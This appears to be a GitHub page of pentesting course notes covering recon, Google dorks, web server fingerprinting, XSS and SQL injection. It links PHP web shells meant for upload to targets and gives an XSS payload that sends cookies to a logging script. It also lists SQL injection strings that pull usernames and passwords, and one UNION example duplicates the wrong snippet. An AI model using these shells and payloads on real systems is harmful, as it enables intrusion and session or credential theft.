-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathindex.html
461 lines (434 loc) · 16.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
<!DOCTYPE html>
<html>
<head>
<title>Pentester Utils</title>
<link rel="stylesheet" type="text/css" href="css/desert.css">
<link rel="stylesheet" type="text/css" href="css/custom_style.css">
<script type="text/javascript" src="js/run_prettify.js?autoload=false"></script>
</head>
<body onload="PR.prettyPrint()">
<ul class="nav">
<li><a href="index.html">Home</a></li>
<li><a href="useful_commands.html">Useful Commands</a></li>
<li><a href="python_scripts.html">Python Scripts</a></li>
</ul>
<hr>
<h1>Table of Content</h1>
<ol>
<li><a href="#circular-process">Circular process</a></li>
<li><a href="#web-exploit">Web Exploit</a>
<ol>
<li><a href="#we-shells">Shells</a></li>
<li><a href="#we-fingerprinting">Web Server Fingerprinting</a>
<ol>
<li><a href="#we-fp-netcat">Netcat: for HTTP conections</a></li>
<li><a href="#we-fp-openssl">OpenSSL: for HTTPS connections</a></li>
<li><a href="#we-fp-httprint">Httprint</a></li>
</ol>
</li>
<li><a href="#we-http-verbs">HTTP Verbs</a>
<ol>
<li><a href="#we-hv-get">GET</a></li>
<li><a href="#we-hv-post">POST</a></li>
<li><a href="#we-hv-put">PUT</a></li>
<li><a href="#we-hv-delete">DELETE</a></li>
<li><a href="#we-hv-options">OPTIONS</a></li>
</ol>
</li>
<li><a href="#we-google-hack">Google Hacking</a></li>
<li><a href="#we-xss">XSS: Cross-Site Scripting</a>
<ol>
<li><a href="#we-xss-common">Common XSS Codes</a></li>
</ol>
</li>
<li><a href="#we-sql-injection">SQL Injection</a>
<ol>
<li><a href="#we-sqli-common">Common SQL Injections</a></li>
<li><a href="#we-sqli-true-false">Check for True & for False</a></li>
<li><a href="#we-sqli-functions">Useful MySQL functions</a></li>
<li><a href="#we-sqli-examples">Some crafted examples</a></li>
<li><a href="#we-sqli-sqlmap">Automatize All! SQLMap</a></li>
</ol>
</li>
</ol>
</li>
</ol>
<br>
<h1 id="circular-process">Circular process</h1>
<p>The steps to follow in a circular manner</p>
<ol>
<li>Engagement</li>
<li>Information gathering
<ul>
<li>Social Search
<ul>
<li>Company website</li>
<li>Facebook <a href="https://www.facebook.com/search/all/">https://www.facebook.com/search/all/</a></li>
<li>Twitter's Advanced Search <a href="https://twitter.com/search-advanced">https://twitter.com/search-advanced</a></li>
<li>Gogole + <a href="https://plus.google.com/s">https://plus.google.com/s</a></li>
<li>Linkedin's Advanced Search <a href="https://www.linkedin.com/vsearch/f?adv=true&trk=federated_advs">https://www.linkedin.com/vsearch/f?adv=true&trk=federated_advs</a></li>
<li>CrunchBase <a href="https://www.crunchbase.com/app/search">https://www.crunchbase.com/app/search</a></li>
</ul>
</li>
<li>Whois:
<br>
<code class="prettyprint inline">
$ whois host.com
</code>
</li>
</ul>
</li>
<li>Footprint & Scanning</li>
<li>Vulnerability assessment</li>
<li>Exploitation</li>
<li>Reporting</li>
</ol>
<h1 id="web-exploit">Web Exploit</h1>
<h2 id="we-shells">Shells</h2>
<p>Upload this shells on the target web service to execute remote code</p>
<p>
To upload a shell trough the <b>PUT</b> command you have to know the size.
<br>
Use this command: <code class="prettyprint inline">$ wc -m shell.php</code>
</p>
<ul>
<li><b>my shell</b>: <a href="shells/myshell.txt">[TXT]</a> <a href="shells/myshell.php">[PHP]</a></li>
<li><b>c99 shell</b>: <a href="shells/c99.txt">[TXT]</a> <a href="shells/c99.php">[PHP]</a></li>
<li><b>c100 shell</b>: <a href="shells/c100.txt">[TXT]</a> <a href="shells/c100.php">[PHP]</a></li>
<li><b>r57 shell</b>: <a href="shells/r57.txt">[TXT]</a> <a href="shells/r57.php">[PHP]</a></li>
</ul>
<h2 id="we-fingerprinting">Web Server Fingerprinting</h2>
<p>Find which service is running and of which version</p>
<h3 id="we-fp-netcat">Netcat: for HTTP conections</h3>
<p>
<pre class="prettyprint">
<code>
$ nc [-vv] <target address> <port [80]>
HEAD / HTTP/1.0 # / is the requested page
</code>
</pre>
</p>
<p><b>AFTER THE <i>HEAD</i> YOU HAVE TO APPEND TWO EMPTY LINES</b></p>
<h3 id="we-fp-openssl">OpenSSL: for HTTPS connections</h3>
<p>
<pre class="prettyprint">
<code>
$ openssl s_client -connect <target.site>:<port [443]>
HEAD / HTTP/1.0 # / is the requested page
</code>
</pre>
</p>
<h3 id="we-fp-httprint">Httprint</h3>
<p>
<pre class="prettyprint">
<code>
$ httprint -P0 -h <target hosts> s <signature file>
</code>
</pre>
<br>
<b>-P0</b>: avoid pinging the host <br>
</p>
<h2 id="we-http-verbs">HTTP Verbs</h2>
<p>
PRE: <b>HTTP/1.1</b> need the <b>Host</b> keyword on the second line, the <b>HTTP/1.0</b> doesn't
</p>
<ul>
<li><h3 id="we-hv-get">GET</h3>
<p>is used to request a resource</p>
<p>
<pre class="prettyprint">
<code>
<b>GET</b> /page.php?course=PTS HTTP/1.1
<b>Host</b>: www.example.site
</code>
</pre>
</p>
</li>
<li><h3 id="we-hv-post">POST</h3>
<p>is used to submit HTML form data</p>
<p>
<pre class="prettyprint">
<code>
<b>POST</b> /login.php HTTP/1.1
Host</b>: www.example.site
username=john&password=mypass
</code>
</pre>
</p>
</li>
<li><h3 id="we-hv-put">PUT</h3>
<p>is used to upload file to the server</p>
<p>
<pre class="prettyprint">
<code>
<b>PUT</b> /path/to/destination HTTP/1.1
Host</b>: www.example.site
Content-type: text/html [image/png]
Content-length: 20
<PUT data>
</code>
</pre>
</p>
</li>
<li><h3 id="we-hv-delete">DELETE</h3>
<p>is used to remove file from the server</p>
<p>
<pre class="prettyprint">
<code>
<b>DELETE</b> /path/to/destination HTTP/1.1
Host</b>: www.example.site
</code>
</pre>
</p>
</li>
<li><h3 id="we-hv-options">OPTIONS</h3>
<p>is used to query the web server to enable HTTP Verbs</p>
<p>
<pre class="prettyprint">
<code>
<b>OPTIONS</b> / HTTP/1.1
Host</b>: www.example.site
</code>
</pre>
</p>
</li>
</ul>
<h2 id="we-google-hack">Google Hacking (Google Dorks)</h2>
<p>Use of advanced parameters in Google search to obtain informations</p>
<table>
<thead>
<tr>
<td><b>Command</b></td>
<td><b>Meaning</b></td>
</tr>
</thead>
<tbody>
<tr>
<td><code>site:</code></td>
<td>incude only results on a given hostname</td>
</tr>
<tr>
<td><code>intitle:</code></td>
<td>filters according to the title of a page</td>
</tr>
<tr>
<td><code>inurl:</code></td>
<td>filters according to the url of a resource</td>
</tr>
<tr>
<td><code>filetype:</code></td>
<td>filters by using the file extension of a resource (.pdf, .xls)</td>
</tr>
<tr>
<td><code>AND, OR, &, |</code></td>
<td>use logical operators to combine exressions</td>
</tr>
<tr>
<td><code>-</code></td>
<td>to filter out a keyword or a command's result from the query</td>
</tr>
</tbody>
</table>
<p>
Example: <code class="inline">-inurl:(htm|html|php|asp|jsp) intitle:"index of" "last modified" "parent directory" txt OR doc OR pdf</code>
<br>
Excludes from the search results common web page extensions and looks for open directory indexed containing txt, doc or pdf files.
</p>
<h2 id="we-xss">XSS: Cross-Site Scripting</h2>
<p>
Vulnerability that lets an attacker control some of the content of a web application.
<br>
You have to look at <b>every</b> user input.
</p>
Three types of XSS:
<ol>
<li>
<b>Reflected XSS</b>: when the injected text is reflected on the page (appears in the page)
<br>
<span style="color: red"><b><i>Chrome has a REFLECTED XSS FILTER built in. Always use FIREFOX!!!</i></b></span>
</li>
<li>
<b>Persistent XSS</b>: when the payload is sent to the vulnerable web server and the <b>stored</b>.
</li>
<li><b>DOM Based XSS</b>: -- NOT SEE IN COURSE --
</ol>
<h3 id="we-xss-common">Common XSS Codes</h3>
<p>This is a common string to test for XSS</p>
<pre class="prettyprint">
<code>
<script>alert(document.cookie)</script>
</code>
</pre>
<p>Or you can use something more adanced (you can pass every QueryString you want)</p>
<pre class="prettyprint">
<code>
<script>
var i = new Image();
i.src="http://localhost/hack/log.php?cookie="+document.cookie;
</script>
</code>
</pre>
<p>It creates a file called <a href="http://localhost/hack/tools/log.txt">log.txt</a> with the logged activity
<h2 id="we-sql-injection">SQL Injection</h2>
<p>
Uses the same injection point of a XSS but to extract DataBase-related informations
<br>
You have to test <b>each and every</b> input:
<ul>
<li>GET parameters</li>
<li>POST parameters</li>
<li>HTTP Headers
<ul>
<li>User-Agent</li>
<li>Cookie</li>
<li>Accept</li>
<li>...</li>
</ul>
</li>
</ul>
with different combinations of:
<ul>
<li>String terminators: ' and "</li>
<li>SQL commands: <b>SELECT</b>, <b>UNION</b> and others</li>
<li>SQL comments: <b>#</b> or <b>--</b></li>
</ul>
It is always useful to add a comment at the end of the injection to filter out all the official query data.
<code class="inline"><b> -- -</b></code>
</p>
<h3 id="we-sqli-common">Common SQL Injections</h3>
<ul>
<li>
<b>Example 1: Basic usage</b>
Correct query:
<pre class="prettyprint">
<code>
SELECT Name, Description FROM Products WHERE ID='$id';
</code>
</pre>
Crafted <code><b>$id</b></code>
<pre class="prettyprint">
<code>
' OR 'a'='a'
</code>
</pre>
Resulting query (extracts all the data from the <b>Products</b> table because the boolean query is always True!!):
<pre class="prettyprint">
<code>
SELECT Name, Description FROM Products WHERE ID='<b>' OR 'a'='a'</b>;
</code>
</pre>
</li>
<li>
<b>Example 2: The UNION command</b>
Correct query:
<pre class="prettyprint">
<code>
SELECT Name, Description FROM Products WHERE ID='$id';
</code>
</pre>
Crafted <code><b>$id</b></code>
<pre class="prettyprint">
<code>
' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a'
</code>
</pre>
Resulting query (extracts all the data from the <b>Accounts</b> table because of the UNION):
<pre class="prettyprint">
<code>
SELECT Name, Description FROM Products WHERE ID='<b>' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a'</b>;
</code>
</pre>
</li>
</ul>
<h3 id="we-sqli-true-false">Check for True & for False</h3>
<p>
You have to check for the <b>True</b> condition to check if the injection is possible. But you have also to check for the <b>False</b> condition to understand when the injection fails.
</p>
<h3 id="we-sqli-functions">Useful MySQL functions</h3>
<ul>
<li>
<b>user()</b>: extracts the current user connected to the DB
<pre class="prettyprint">
<code>
<b>mysql> select user();</b>
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
</code>
</pre>
</li>
<li>
<b>substring()</b>: obvious (input string, position, length)
<pre class="prettyprint">
<code>
<b>mysql> select substring('mysupercoolstring', 2, 3);</b>
+---------------------------------------+
| substring('mysupercoolstring', 2, 3); |
+---------------------------------------+
| ysu |
+---------------------------------------+
</code>
</pre>
</li>
<li>
this functions can be mixed and converted to Boolean result:
<pre class="prettyprint">
<code>
<b>mysql> select substring(user(), 1, 1) = 'r';</b>
+---------------------------------------+
| select substring(user(), 1, 1) = 'r'; |
+---------------------------------------+
| 1 |
+---------------------------------------+
</code>
</pre>
</li>
<li>
or UNION-based injections:
<pre class="prettyprint">
<code>
<b>mysql> select substring(user(), 1, 1) = 'r';</b>
+---------------------------------------+
| select substring(user(), 1, 1) = 'r'; |
+---------------------------------------+
| 1 |
+---------------------------------------+
</code>
</pre>
</li>
</ul>
<h3 id="we-sqli-examples">Some crafted examples</h3>
Always the same query:
<pre class="prettyprint">
<code>
SELECT Name, Description FROM Products WHERE ID='$id';
</code>
</pre>
Crafted <code><b>$id</b></code>
<pre class="prettyprint">
<code>
' UNION SELECT user(); -- -
</code>
</pre>
use <b>null</b>s for the query untill the result is True. It's used to understand the structure of the query
<pre class="prettyprint">
<code>
' UNION SELECT null, null; -- -
</code>
</pre>
<h3 id="we-sqli-sqlmap">Automatize All! SQLMap</h3>
<p>Basic usage</p>
<pre class="prettyprint">
<code>
$ sqlmap -u <URL> -p <injection parameter> [options]
</code>
</pre>
<b>[options]</b> may be <code class="inline">--technique=U</code> that tells SQLMap to use a UNION based SQL injection technique.
<br><br><br>
SQL Injection: <a href="https://members.elearnsecurity.com/course/70000/74000/74010/3/index.html">Video eLearnSecurity</a>
<br>
SLQMap: <a href="https://members.elearnsecurity.com/course/70000/74000/74010/4/index.html">Video eLearnSecurity</a>
</body>
</html>